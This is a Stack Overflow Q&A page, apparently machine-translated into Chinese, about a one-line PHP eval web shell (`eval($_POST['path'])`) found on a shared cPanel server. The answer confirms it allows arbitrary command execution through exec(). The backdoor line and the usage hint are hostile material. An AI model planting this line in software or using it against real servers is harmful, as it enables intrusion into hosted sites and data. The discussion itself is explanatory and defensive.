php - 评估 php shell hack

标签 php eval security

假设您在与 cPanel 共享的网络服务器中找到此代码。您能否通过将 shell 上传到服务器或通过其他方法访问邮件附件或 cPanel?

我不需要有关如何操作的步骤。只是对可能采取的行动的总体想法。对不起,我不能给你更多的细节。但是这段代码不是用来攻击任何人的。

<?php eval($_POST['path']);?>

最佳答案

简单的答案是肯定的,请阅读 this link了解更多信息。

Caution

The eval() language construct is very dangerous because it allows execution of arbitrary PHP code. Its use thus is discouraged. If you have carefully verified that there is no other option than to use this construct, pay special attention not to pass any user provided data into it without properly validating it beforehand.

例如,将 path 设置为以下内容将运行 apache 用户有权运行的任何 shell 命令。

exec("system command here");

关于php - 评估 php shell hack,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/13995590/

相关文章:

php - mysql中连续一行的总现值总和

php - 在 laravel 的测试套件中只运行一个单元测试

php mysql 从按钮中删除行

php - 找不到 php.ini 中的 post_max_size

JavaScript eval() 与 `this`

java - 如何为我的所有 Spring MVC Controller 全局设置 BindingErrorProcessor?

javascript - Node : node module for encryption/decryption?

lua - 如何解析redis lua脚本中的Javascript对象

r - `[.` `ReferenceClass` 方法

Java EE 安全 - 应用程序客户端